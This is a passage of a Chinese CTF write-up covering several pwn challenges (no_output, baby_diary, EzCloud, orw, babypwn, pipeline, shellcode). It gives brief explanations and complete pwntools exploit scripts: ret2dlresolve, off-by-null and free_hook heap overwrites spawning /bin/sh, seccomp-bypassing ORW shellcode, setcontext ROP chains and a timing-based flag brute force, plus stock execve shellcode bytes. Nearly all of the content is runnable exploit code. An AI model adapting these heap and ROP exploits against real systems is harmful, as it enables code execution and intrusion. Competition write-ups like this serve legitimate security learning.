    a=int(sh.recvuntil("\n",drop=True).decode(),10)
    b=int(sh.recvuntil("\n",drop=True).decode(),10)
    s=bin(a^b)[2:].zfill(160)
    sh.sendline(fd(s,m1,m2))
print(sh.recv())

 

PWN

0x01 no_output

ret2_dlresolve的模板题

from roputils import *
from pwn import process,remote
from pwn import gdb
from pwn import context
#r = process('./no_input')
r = remote('39.105.138.97',1234)
context.log_level = 'debug'

dynstr = 0x08048318
payload = p32(0x0804C084)
payload = payload.ljust(0x30,b'a')

r.send(payload)

payload = '\x00ello_boy'.ljust(0x20,'a')
r.send(payload)
r.sendline("-2147483648")
r.sendline('-1')

rop = ROP('./no_input')
offset = 0x48+4
bss_base = rop.section('.bss')
buf = rop.fill(offset)

buf += rop.call('read', 0, bss_base, 100)
## used to call dl_Resolve()
buf += rop.dl_resolve_call(bss_base + 20, bss_base)
r.send(buf)

buf = rop.string('/bin/sh')
buf += rop.fill(20, buf)
## used to make faking data, such relocation, Symbol, Str
buf += rop.dl_resolve_data(bss_base + 20, 'system')
buf += rop.fill(100, buf)
r.send(buf)
r.interactive()

0x02 baby_diary

2.29下的off-by-null构造,利用largebin残留的指针,需要小爆破一下。

#! /usr/bin/env python
# -*- coding: utf-8 -*-
from PwnContext import *

context.terminal = ['tmux', 'split', '-h']
#-----function for quick script-----#
s       = lambda data               :ctx.send(str(data))        #in case that data is a int
sa      = lambda delim,data         :ctx.sendafter(str(delim), str(data)) 
sl      = lambda data               :ctx.sendline(str(data)) 
sla     = lambda delim,data         :ctx.sendlineafter(str(delim), str(data))
r       = lambda numb=4096          :ctx.recv(numb)
ru      = lambda delims, drop=True  :ctx.recvuntil(delims, drop)
irt     = lambda                    :ctx.interactive()

rs      = lambda *args, **kwargs    :ctx.start(*args, **kwargs)
leak    = lambda address, count=0   :ctx.leak(address, count)

uu32    = lambda data   :u32(data.ljust(4, '\0'))
uu64    = lambda data   :u64(data.ljust(8, '\0'))

debugg = 0
logg = 0

ctx.binary = './baby_diary'

ctx.custom_lib_dir = './glibc-all-in-one/libs/2.31-0ubuntu9.2_amd64/'#remote libc
ctx.debug_remote_libc = True

ctx.symbols = {'note':0x4060,'size':0x4140}
ctx.breakpoints = [0x15df]
#ctx.debug()
#ctx.start("gdb",gdbscript="set follow-fork-mode child\nc")

def lg(name,val):
    log.success("%s :%s"%(name,hex(val)))
def getLeak():
    num = uu64(ru('\x7f',drop=False)[-6:])
    return num

while 1:
    try:
        if debugg:
            rs()
        else:
            ctx.remote = ('8.140.114.72', 1399)
            rs(method = 'remote')

        if logg:
            context.log_level = 'debug'

        def choice(aid):
            sla('>> ',aid)
        def add(asize,acon):
            choice(1)
            sla('size: ',asize-1)
            sa('content: ',acon)
        def show(aid):
            choice(2)
            sla('index: ',aid)
        def free(aid):
            choice(3)
            sla('index: ',aid)

        for i in range(7):
            add(0x28,'chun_'+str(i)+'\n')#0-6

        '''
        heap_base = ctx.bases.heap
        lg("heap_base",heap_base)
        if (heap_base>>8)&0xf0 != 0xf0:
            ctx.close()
            continue
        if (heap_base>>16)&0xf != 0:
            ctx.close()
            continue

        raw_input('success!')
        '''

        add(0xc18,'padding\n')#7

        add(0x5e0,'8\n')#8
        add(0x18,'9\n')#9
        free(8)
        add(0x618,'8\n')#8

        add(0x28,chr(ord('a')-6)+'a'*7+p64(0x101)+p8(0x90)+'\n')#10

        add(0x28,'\n')#11
        add(0x28,'1'*7+'\n')#12
        add(0x28,'\n')#13
        add(0x28,'\n')#14

        for i in range(7):
            free(i)

        free(11)
        free(13)

        for i in range(7):
            add(0x28,'\n')#0-6

        add(0x618,'\n')#11
        add(0x28,chr(ord('b')-4)+'b'*7+p8(0x10)+'\n')#13
        add(0x20,'\x0d'+'\0'*0x1e)#15

        for i in range(7):
            free(i)

        free(14)
        free(10)

        for i in range(7):
            add(0x28,'\n')#0-6

        add(0x28,p8(0x10)+'\n')#10
        add(0x28,'\n')#14
        add(0x10,'\n')#16
        add(0x4d8,'\n')#17

        free(16)
        add(0x18,'\0'*0x17)#16 off by null
        free(16)
        add(0x18,p64(1)+p64(0)+'\n')#16 set data

        free(17)

        add(0x18,'\n')#17
        show(15)
        data = ru('diary')
        if '\x7f' not in data:
            ctx.close()
            continue
        libc = ctx.libc
        aid = data.find('\x7f')
        libc_base = uu64(data[aid-5:aid+1]) - 0x1ebbe0
        lg("libc_base",libc_base)

        free(13)
        free(12)
        free_hook = libc_base+libc.sym['__free_hook']
        system = libc_base+libc.sym['system']
        add(0x60,'\x00'*0x28+p64(0x31)+p64(free_hook-8)+'\n')#12
        add(0x28,'\n')#13
        add(0x28,'/bin/sh\0'+p64(system)+'\n')#18
        free(18)

        #ctx.debug()
        irt()
        if debugg == 1:
            break
    except KeyboardInterrupt:
        exit()
    except Exception,e:
        print e.message

0x03 EzCloud

当申请满16个chunk的时候,再次申请即可溢出修改到next session的指针。首先利用edit note来改大点size,泄露堆地址,然后将伪造next session即可。

#! /usr/bin/env python
# -*- coding: utf-8 -*-
from PwnContext import *

context.terminal = ['tmux', 'split', '-h']
#-----function for quick script-----#
s       = lambda data               :ctx.send(str(data))        #in case that data is a int
sa      = lambda delim,data         :ctx.sendafter(str(delim), str(data)) 
sl      = lambda data               :ctx.sendline(str(data)) 
sla     = lambda delim,data         :ctx.sendlineafter(str(delim), str(data))
r       = lambda numb=4096          :ctx.recv(numb)
ru      = lambda delims, drop=True  :ctx.recvuntil(delims, drop)
irt     = lambda                    :ctx.interactive()

rs      = lambda *args, **kwargs    :ctx.start(*args, **kwargs)
leak    = lambda address, count=0   :ctx.leak(address, count)

uu32    = lambda data   :u32(data.ljust(4, '\0'))
uu64    = lambda data   :u64(data.ljust(8, '\0'))

debugg = 0
logg = 0

ctx.binary = './EzCloud'

ctx.custom_lib_dir = './glibc-all-in-one/libs/2.31-0ubuntu9.1_amd64/'#remote libc
ctx.debug_remote_libc = True

ctx.symbols = {'note':0xd1e0}
ctx.breakpoints = [0x75f1]
#ctx.debug()
#ctx.start("gdb",gdbscript="set follow-fork-mode child\nc")

def lg(name,val):
    log.success("%s :%s"%(name,hex(val)))
def getLeak():
    num = uu64(ru('\x7f',drop=False)[-6:])
    return num

now_num = 8
while 1:
    try:
        if debugg:
            rs()
        else:
            ctx.remote = ('47.94.234.66', 37128)
            rs(method = 'remote')

        if logg:
            context.log_level = 'debug'

        def login(aid):
            content = ''
            content += 'POST /login HTTP/1.1\r\n'
            content += 'Login-ID: {aid}\r\n'.format(aid=aid)
            content += 'Content-Length: 0\r\n'
            content += '\r\n'
            s(content)
            ru('</body></html>\r\n')

        def add(aid,asize,acon):
            content = ''
            content += 'POST /notepad HTTP/1.1\r\n'
            content += 'Login-ID: {aid}\r\n'.format(aid=aid)
            content += 'Note-Operation: new%20note\r\n'
            content += 'Content-Length: {asize}\r\n'.format(asize=asize)
            content += 'Content-Type: application/x-www-form-urlencoded\r\n\r\n'
            content += urlencode(acon)+'\r\n'
            content += '\r\n'
            s(content)
            ru('</body></html>\r\n')

        def edit(lgid,aid,asize,acon):
            content = ''
            content += 'POST /notepad HTTP/1.1\r\n'
            content += 'Login-ID: {lgid}\r\n'.format(lgid=lgid)
            content += 'Note-Operation: edit%20note\r\n'
            content += 'Note-ID: {aid}\r\n'.format(aid=aid)
            content += 'Content-Length: {asize}\r\n'.format(asize=asize)
            content += 'Content-Type: application/x-www-form-urlencoded\r\n\r\n'
            content += urlencode(acon)+'\r\n'
            content += '\r\n'
            s(content)
            ru('</body></html>\r\n')

        def free(lgid,aid):
            content = ''
            content += 'POST /notepad HTTP/1.1\r\n'
            content += 'Login-ID: {lgid}\r\n'.format(lgid=lgid)
            content += 'Note-Operation: delete%20note\r\n'
            content += 'Note-ID: {aid}\r\n'.format(aid=aid)
            content += 'Content-Length: 0\r\n'
            content += 'Content-Type: application/x-www-form-urlencoded\r\n\r\n'
            s(content)
            ru('</body></html>\r\n')

        def show(aid):
            content = ''
            content += 'GET /notepad HTTP/1.1\r\n'
            content += 'Login-ID: {aid}\r\n'.format(aid=aid)
            content += 'Content-Length: 0\r\n'
            content += 'Content-Type: application/x-www-form-urlencoded\r\n\r\n'
            s(content)

        def getflag(aid):
            content = ''
            content += 'GET /flag HTTP/1.1\r\n'
            content += 'Login-ID: {aid}\r\n'.format(aid=aid)
            content += 'Content-Length: 0\r\n'
            content += '\r\n'
            s(content)

        login('111')
        login('222')

        add('111',0x1,'A')
        edit('111',0,2,'B')
        show('111')
        ru('<p>B')
        fake = (uu64(r(5)) << 8)+0x8ef8+now_num
        now_num += 8
        lg("fake",fake)
        ru('</body></html>\r\n')

        num = 0xe0
        for i in range(13):
            add('111',num*3,'A'*num)

        payload = ''
        payload += 'B'*0x30+p64(fake)
        payload += p64(1)+p64(fake+0x20)
        payload += p64(8)+p64(3)
        payload += '888'+'\0'*5
        payload += 'B'*(0xe0-len(payload))
        for i in range(16):
            add('222',num*3,payload)

        add('222',0x30,'C'*0x10)
        #ctx.debug()
        #raw_input()
        getflag('888')
        data = ru('</body></html>\r\n')
        if '{' in data:
            print data
            irt()
        else:
            ctx.close()
        if debugg == 1:
            break
    except KeyboardInterrupt:
        exit()
    except Exception,e:
        print e.message

0x04 orw

seccomp沙箱,只允许read write open,覆盖free的got表为一块堆,然后在堆里填上jmp rdi(要free的这块堆),利用另一块堆进行orw

注意还有一个漏洞,输入0的话可以无限输入,突破输入的限制:

exp:

from pwn import *

context.log_level="debug"
context.os = 'linux'
context.arch = 'amd64'
elf = ELF('./pwn')
#p = process('./pwn')
p = remote('39.105.131.68',12354)
libc = ELF('./libc-2.23.so')


s       = lambda data               :p.send(str(data))    
sa      = lambda delim,data         :p.sendafter(str(delim), str(data)) 
sl      = lambda data               :p.sendline(str(data)) 
sla     = lambda delim,data         :p.sendlineafter(str(delim), str(data)) 
r       = lambda numb=4096          :p.recv(numb)
ru      = lambda delims, drop=True  :p.recvuntil(delims, drop)
it      = lambda                    :p.interactive()
uu32    = lambda data   :u32(data.ljust(4, '\0'))
uu64    = lambda data   :u64(data.ljust(8, '\0'))
bp      = lambda bkp                :pdbg.bp(bkp)
li      = lambda str1,data1         :log.success(str1+'========>'+hex(data1))


def add(index,size,text):
    ru("choice >>")
    sl(1)
    ru('index:')
    sl(index)
    ru('size:')
    sl(size)
    ru('content:')
    s(text)



def delete(index):
    ru("choice >>")
    sl(4)
    ru('index:')
    sl(index)

free_addr= 0x202018
chunk_addr = 0x2020E0

index = (chunk_addr-free_addr)/8

payload = asm('jmp rdi')+'\x90'*5

print(payload)
print(len(payload))

add(-index,7,payload)

#gdb.attach(p)

payload = asm(shellcraft.open('flag'))
payload += asm(shellcraft.read(3,'rsp',0x40))
payload += asm(shellcraft.write(1,'rsp',0x40))
payload +='\n'
print(len(payload))
add(0,0,payload)
delete(0)
p.interactive()

0x05 babypwn

off-by-one漏洞,劫持free_hook利用setcontext进行rop,泄露地址时用z3解

from pwn_debug import *
from z3 import *

pdbg=pwn_debug("./babypwn")
pdbg.context.terminal=['tmux', 'splitw', '-h']
context.log_level='debug'
pdbg.remote("39.105.130.158",8888)

switch=3
if switch==1:
    p=pdbg.run("local")
elif switch==2:
    p=pdbg.run("debug")
elif switch==3:
    p=pdbg.run("remote")
libc=ELF("./libc.so.6"))
#-----------------------------------------------------------------------------------------
s       = lambda data               :p.send(str(data))
sa      = lambda delim,data         :p.sendafter(str(delim), str(data)) 
sl      = lambda data               :p.sendline(str(data)) 
sla     = lambda delim,data         :p.sendlineafter(str(delim), str(data)) 
r       = lambda numb=4096          :p.recv(numb)
ru      = lambda delims, drop=True  :p.recvuntil(delims, drop)
it      = lambda                    :p.interactive()
uu32    = lambda data   :u32(data.ljust(4, '\0'))
uu64    = lambda data   :u64(data.ljust(8, '\0'))
bp      = lambda bkp                :pdbg.bp(bkp)
sym     = lambda symbol             :pdbg.sym(symbol)
def bpp():
    bp([])
    input()
#elf=pdbg.elf
#libc=pdbg.libc
sh_x86_18="\x6a\x0b\x58\x53\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80"
sh_x86_20="\x31\xc9\x6a\x0b\x58\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80"
sh_x64_21="\xf7\xe6\x50\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x48\x89\xe7\xb0\x3b\x0f\x05"
#https://www.exploit-db.com/shellcodes
#-----------------------------------------------------------------------------------------
def alloc(sz):
    sla('>>>',1)
    sla('size:',sz)
def free(idx):
    sla('>>>',2)
    sla('index:',idx)
def edit(idx,con):
    sla('>>>',3)
    sla('index:',idx)
    sa('content:',con)
def show(idx):
    sla('>>>',4)
    sla('index:',idx)

def magic(num):
    s=Solver()
    v4=BitVec("res",8*4)
    v4_t=v4
    for i in range(2):
        v4 ^= LShR((v4 ^ (32 * v4)) , 17) ^ 32 * v4 ^ ((LShR((v4 ^ (32 * v4)) , 17) ^ v4 ^ 32 * v4) << 13)
    s.add(v4==num)
    assert s.check()==sat
    return s.model()[v4_t].as_long()

for i in range(8):
    alloc(0x88)
for i in range(5):
    free(i)
for i in range(6,8):
    free(i)
free(5)


alloc(0x48)

show(0)
ru('\n')

recv_num1=magic(int(ru('\n'),16))
recv_num2=magic(int(ru('\n'),16))
recv_num=recv_num1|(recv_num2<<32)

addr=recv_num-0x3ebd20
free(0)

for i in range(7):
    alloc(0x88)

for i in range(9):
    alloc(0x108+0x90)

free(7)
free(8)
alloc(0x198)
show(7)
ru('\n')
recv_num1=magic(int(ru('\n'),16))
recv_num2=magic(int(ru('\n'),16))
heap_base=(recv_num1|(recv_num2<<32))-0xd70
free(7)
for i in range(9,14):
    free(i)
free(14)

alloc(0x88)
edit(7,'a'*0x88)
alloc(0x88)
alloc(0x28)

for i in range(7):
    free(i)
free(8)
free(15)
alloc(0x100)
free(9)
edit(0,'\x00'*0x88+p64(0x31)+p64(addr+libc.sym['__free_hook']))

alloc(0x28)
alloc(0x28)
alloc(0x200)

libc_base=addr
buffer_addr=heap_base+0x1b70

pop_rdx=0x0000000000001b96+libc_base
pop_rdi=0x000000000002155f+libc_base
pop_rsi_1=0x000000000002155d+libc_base

flag_str_addr=buffer_addr+0xb0
setcontext=libc_base+libc.sym['setcontext']+53
flag_addr=buffer_addr+0xc0
func_open=libc.sym['open']+libc_base
func_read=libc.sym['read']+libc_base
func_write=libc.sym['write']+libc_base

rop_chain=flat([
    flag_str_addr,
    pop_rsi_1,
    0,
    0,
    func_open,
    pop_rdi,
    3,
    pop_rsi_1,
    flag_addr,
    0,
    pop_rdx,
    0x30,
    func_read,
    pop_rdi,
    1,
    pop_rsi_1,
    flag_addr,
    0,
    pop_rdx,
    0x30,
    func_write
])
rop_chain=rop_chain.ljust(0xb0,'\x00')+'flag.txt'+p64(0)
rop_chain=rop_chain.ljust(0x100,'\x00')

s=SigreturnFrame()
s.rsp=buffer_addr 
s.rip=pop_rdi
s=str(s)
pay=s[:0x88]+p64(heap_base+0xf0)+s[0x90:0xd8]+p64(heap_base+0x240+0xb8-0x40)+s[0xe0:]
pay=pay.ljust(0x100,'\x00')


edit(3,pay+rop_chain)
edit(2,p64(libc_base+libc.sym['setcontext']+53))

free(3)
it()

0x06 pipeline

漏洞点位于append中的LOWORD(v1)=v3覆盖低两个字节可导致大小变大,从而溢出。

利用未初始化泄露LIBC和heap

利用整数溢出越界写堆块

控制堆块指针随便打

# _*_ coding:utf-8 _*_
from pwn import *
context.log_level = 'debug'
context.terminal=['tmux', 'splitw', '-h']
prog = './pipeline'
#elf = ELF(prog)
# p = process(prog)#,env={"LD_PRELOAD":"./libc-2.27.so"})
libc = ELF("./libc-2.31.so")
p = remote("59.110.173.239" , 2399)
def debug(addr,PIE=True): 
    debug_str = ""
    if PIE:
        text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(p.pid)).readlines()[1], 16) 
        for i in addr:
            debug_str+='b *{}\n'.format(hex(text_base+i))
        gdb.attach(p,debug_str) 
    else:
        for i in addr:
            debug_str+='b *{}\n'.format(hex(text_base+i))
        gdb.attach(p,debug_str) 

def dbg():
    gdb.attach(p)
#-----------------------------------------------------------------------------------------
s       = lambda data               :p.send(str(data))        #in case that data is an int
sa      = lambda delim,data         :p.sendafter(str(delim), str(data)) 
sl      = lambda data               :p.sendline(str(data)) 
sla     = lambda delim,data         :p.sendlineafter(str(delim), str(data)) 
r       = lambda numb=4096          :p.recv(numb)
ru      = lambda delims, drop=True  :p.recvuntil(delims, drop)
it      = lambda                    :p.interactive()
uu32    = lambda data   :u32(data.ljust(4, '\0'))
uu64    = lambda data   :u64(data.ljust(8, '\0'))
bp      = lambda bkp                :pdbg.bp(bkp)
li      = lambda str1,data1         :log.success(str1+'========>'+hex(data1))


def dbgc(addr):
    gdb.attach(p,"b*" + hex(addr) +"\n c")

def lg(s,addr):
    print('\033[1;31;40m%20s-->0x%x\033[0m'%(s,addr))

sh_x86_18="\x6a\x0b\x58\x53\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80"
sh_x86_20="\x31\xc9\x6a\x0b\x58\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80"
sh_x64_21="\xf7\xe6\x50\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x48\x89\xe7\xb0\x3b\x0f\x05"
#https://www.exploit-db.com/shellcodes
#-----------------------------------------------------------------------------------------
def choice(idx):
    sla(">> ",str(idx))

def add():
    choice(1)

def edit(idx,off,sz):
    choice(2)
    sla("index: ",idx) 
    sla("offset: ",off)
    sla("size: ",sz)

def delete(idx):
    choice(3)
    sla("index: ",idx)

def append(idx,sz,con):
    choice(4)
    sla("index: ",idx) 
    # sla("offset: ",off)
    sla("size: ",sz)
    sa("data: ",con)

def show(idx):
    choice(5)
    sla("index: ",idx) 


def exp():
    # debug([0x149E,0x14D2])
    add()#0
    add()
    add()#2
    add()
    add()#4
    add()#5
    # debug([0x1400,0x1732,0x1885,0x18B7,0x18AF])

    edit(1,0x437,0x438)
    add()#6
    add()#7
    add()#8
    add()#9
    # edit(1,0x457,0x458)

    edit(1,0x457,0x458)

    edit(2,0,0x20)
    show(2)
    ru("data: ")
    data = uu64(r(6))
    lg('data',data)
    addr = data - 0x7ffa90832fe0 + 0x7ffa90647000
    append(2,0x10,'a'*0x10)
    show(2)
    ru("a"*0x10)
    data1 = uu64(r(6))
    lg('data1',data1)
    heap = data1 - 0x370
    lg('heap',heap)
    lg('addr',addr)
    sys = addr + libc.sym['system']
    fh = addr + libc.sym['__free_hook']

#------------------------------------------
    # edit(0,0x27,0x28)#oof + size  off = size append <= 
    # edit(3,0,0x18)
    edit(4,0,0x28)

    # edit(0,0,0)
    # edit(3,0,0)
    edit(5,0,0x10)
    edit(0,0,0x20)
    edit(3,0,0x20)
    # delete(6)
    edit(3,0,0)
    edit(0,0,0)
    edit(4,0,0)



    # debug([0x1875])
    # add()#7
    pay = 'x'*0x10+p64(0)+p64(0x31)+p64(heap+0x2b0)

    append(5,0x80000200,pay+'\n')

    edit(3,0,0x20)
    append(3,8,'/bin/sh\x00')
    edit(4,0,0x20)
    edit(0,0,0x20)
    pay = 'b'*0x10+p64(fh)
    append(0,0x20,pay+'\n')
    append(0,0x20,p64(sys)+'\n')
    edit(3,0,0)
    # append(0,0xffffffff,'a'+'\n')

    # append(1,0xffffffff,'a'*0x30+'\n')
    # add()

    # edit(1,0x27,0x28)



    # edit(4,0x17,0x18)
    # add()

    # edit(4,0,0)

    # dbg()

    it()
if __name__ == '__main__':
    exp()

0x07 [强网先锋]shellcode

64位下执行mmap read

32位下open

64位read爆破匹配

# _*_ coding:utf-8 _*_
from pwn import *
# context.log_level = 'debug'
context.terminal=['tmux', 'splitw', '-h']
prog = './shellcode'
# context.arch = 'i386'
#elf = ELF(prog)
# p = process(prog)#,env={"LD_PRELOAD":"./libc-2.27.so"})
# libc = ELF("./libc-2.27.so")
# p = remote("124.70.197.50", 9010)
def debug(addr,PIE=True): 
    debug_str = ""
    if PIE:
        text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(p.pid)).readlines()[1], 16) 
        for i in addr:
            debug_str+='b *{}\n'.format(hex(text_base+i))
        gdb.attach(p,debug_str) 
    else:
        for i in addr:
            debug_str+='b *{}\n'.format(hex(i))
        gdb.attach(p,debug_str) 

def dbg():
    gdb.attach(p)
#-----------------------------------------------------------------------------------------
s       = lambda data               :p.send(str(data))        #in case that data is an int
sa      = lambda delim,data         :p.sendafter(str(delim), str(data)) 
sl      = lambda data               :p.sendline(str(data)) 
sla     = lambda delim,data         :p.sendlineafter(str(delim), str(data)) 
r       = lambda numb=4096          :p.recv(numb)
ru      = lambda delims, drop=True  :p.recvuntil(delims, drop)
it      = lambda                    :p.interactive()
uu32    = lambda data   :u32(data.ljust(4, '\0'))
uu64    = lambda data   :u64(data.ljust(8, '\0'))
bp      = lambda bkp                :pdbg.bp(bkp)
li      = lambda str1,data1         :log.success(str1+'========>'+hex(data1))


def dbgc(addr):
    gdb.attach(p,"b*" + hex(addr) +"\n c")

def lg(s,addr):
    print('\033[1;31;40m%20s-->0x%x\033[0m'%(s,addr))

sh_x86_18="\x6a\x0b\x58\x53\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80"
sh_x86_20="\x31\xc9\x6a\x0b\x58\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80"
sh_x64_21="\xf7\xe6\x50\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x48\x89\xe7\xb0\x3b\x0f\x05"
#https://www.exploit-db.com/shellcodes
#-----------------------------------------------------------------------------------------

def prepare(p):
    append_x86 = '''
    push ebx
    pop ebx
    '''
    shellcode_x86 = '''
    /*fp = open("flag")*/
    mov esp,0x40404140
    push 0x67616c66
    push esp
    pop ebx
    xor ecx,ecx
    mov eax,5
    int 0x80
    mov ecx,eax
    '''
    shellcode_flag = '''
    push 0x33
    push 0x40404089
    retfq
    /*read(fp,buf,0x70)*/
    mov rdi,rcx
    mov rsi,rsp
    mov rdx,0x70
    xor rax,rax
    syscall
    '''
    shellcode_x86 = asm(shellcode_x86)
    shellcode_flag = asm(shellcode_flag,arch='amd64')
    shellcode = ''
    append = '''
    push rdx
    pop rdx
    '''
    # 0x40404040 为32位shellcode地址
    shellcode_mmap = '''
    /*mmap(0x40404040,0x7e,7,34,0,0)*/
    push 0x40404040 /*set rdi*/
    pop rdi

    push 0x7e /*set rsi*/
    pop rsi

    push 0x40 /*set rdx*/
    pop rax
    xor al,0x47
    push rax
    pop rdx

    push 0x40 /*set r8*/
    pop rax
    xor al,0x40
    push rax
    pop r8

    push rax /*set r9*/
    pop r9

    /*syscall*/
    push rbx
    pop rax
    push 0x5d
    pop rcx
    xor byte ptr[rax+0x31],cl
    push 0x5f
    pop rcx
    xor byte ptr[rax+0x32],cl

    push 0x22 /*set rcx*/
    pop rcx

    push 0x40/*set rax*/
    pop rax
    xor al,0x49

    '''
    shellcode_read = '''
    /*read(0,0x40404040,0x70)*/
    push 0x40404040
    pop rsi
    push 0x40
    pop rax
    xor al,0x40
    push rax
    pop rdi
    xor al,0x40
    push 0x70
    pop rdx

    push rbx
    pop rax
    push 0x5d
    pop rcx
    xor byte ptr[rax+0x57],cl
    push 0x5f
    pop rcx
    xor byte ptr[rax+0x58],cl
    push rdx
    pop rax
    xor al,0x70

    '''

    shellcode_retfq = '''
    push rbx
    pop rax

    xor al,0x40

    push 0x72
    pop rcx
    xor byte ptr[rax+0x40],cl
    push 0x68
    pop rcx
    xor byte ptr[rax+0x40],cl
    push 0x47
    pop rcx
    sub byte ptr[rax+0x41],cl
    push 0x48
    pop rcx
    sub byte ptr[rax+0x41],cl
    push rdi
    push rdi
    push 0x23
    push 0x40404040
    pop rax
    push rax
    '''

    shellcode += shellcode_mmap
    shellcode += append
    shellcode += shellcode_read
    shellcode += append

    shellcode += shellcode_retfq
    shellcode += append
    shellcode = asm(shellcode,arch = 'amd64',os = 'linux')
    # print hex(len(shellcode))
    # pause()
    # gdb.attach(p,"b*0x4002eb\nc")
    p.sendline(shellcode)
    # pause()
    sleep(0.1)


    code1 = shellcode_x86 + 0x29*'\x90' + shellcode_flag
    return code1
    # p.sendline(shellcode_x86 + 0x29*'\x90' + shellcode_flag)
    # p.interactive()


def pwn(p, index, ch):
    # open
    # shellcode = "push 0x10032aaa; pop rdi; shr edi, 12; xor esi, esi; push 2; pop rax; syscall;"

    # re open, rax => 4
    # shellcode += "push 2; pop rax; syscall;"

    # # read(rax, 0x10040, 0x50)
    # shellcode += "mov rdi, rax; xor eax, eax; push 0x50; pop rdx; push 0x10040aaa; pop rsi; shr esi, 12; syscall;"

    # cmp and jz
    code1 =prepare(p)
    shellcode_cmp=""
    if index == 0:
        shellcode_cmp += "cmp byte ptr[rsi+{0}], {1}; jz $-3; ret".format(index, ch)
    else:
        shellcode_cmp += "cmp byte ptr[rsi+{0}], {1}; jz $-4; ret".format(index, ch)

    shellcode_cmp = asm(shellcode_cmp,arch = 'amd64',os = 'linux')

    p.sendline(code1+shellcode_cmp)

index = 0

ans = []

debug_flag = 1

while True:
    for ch in range(0x20,0x7f):
        ch = chr(ch)
        ch =ord(ch)
        print(chr(ch))
        if debug_flag:
            # p = remote('8.140.177.7',40334)
            p = remote('39.105.137.118',50050)
        else:
            p = process(prog)
        # prepare()
        pwn(p, index, ch)
        print "======================================================================================>"+chr(ch)
        start = time.time()
        try:
            p.recv(timeout=2)
        except:
            pass
        end = time.time()
        p.close()
        if end-start > 1.5:
            ans.append(ch)
            print("".join([chr(i) for i in ans]))
            break
    else:
        print("".join([chr(i) for i in ans]))
        break
    index=index +1
print("".join([chr(i) for i in ans]))

本文由Dem0原创发布

转载,请参考转载声明,注明出处: https://www.anquanke.com/post/id/244156

安全客 - 有思想的安全新媒体

分享到:微信
+110赞
收藏
Dem0
分享到:微信

发表评论

内容需知
  • 投稿须知
  • 转载须知
  • 官网QQ群8:819797106
  • 官网QQ群3:830462644(已满)
  • 官网QQ群2:814450983(已满)
  • 官网QQ群1:702511263(已满)
合作单位
  • 安全客
  • 安全客
Copyright © 北京奇虎科技有限公司 360网络攻防实验室 安全客 All Rights Reserved 京ICP备08010314号-66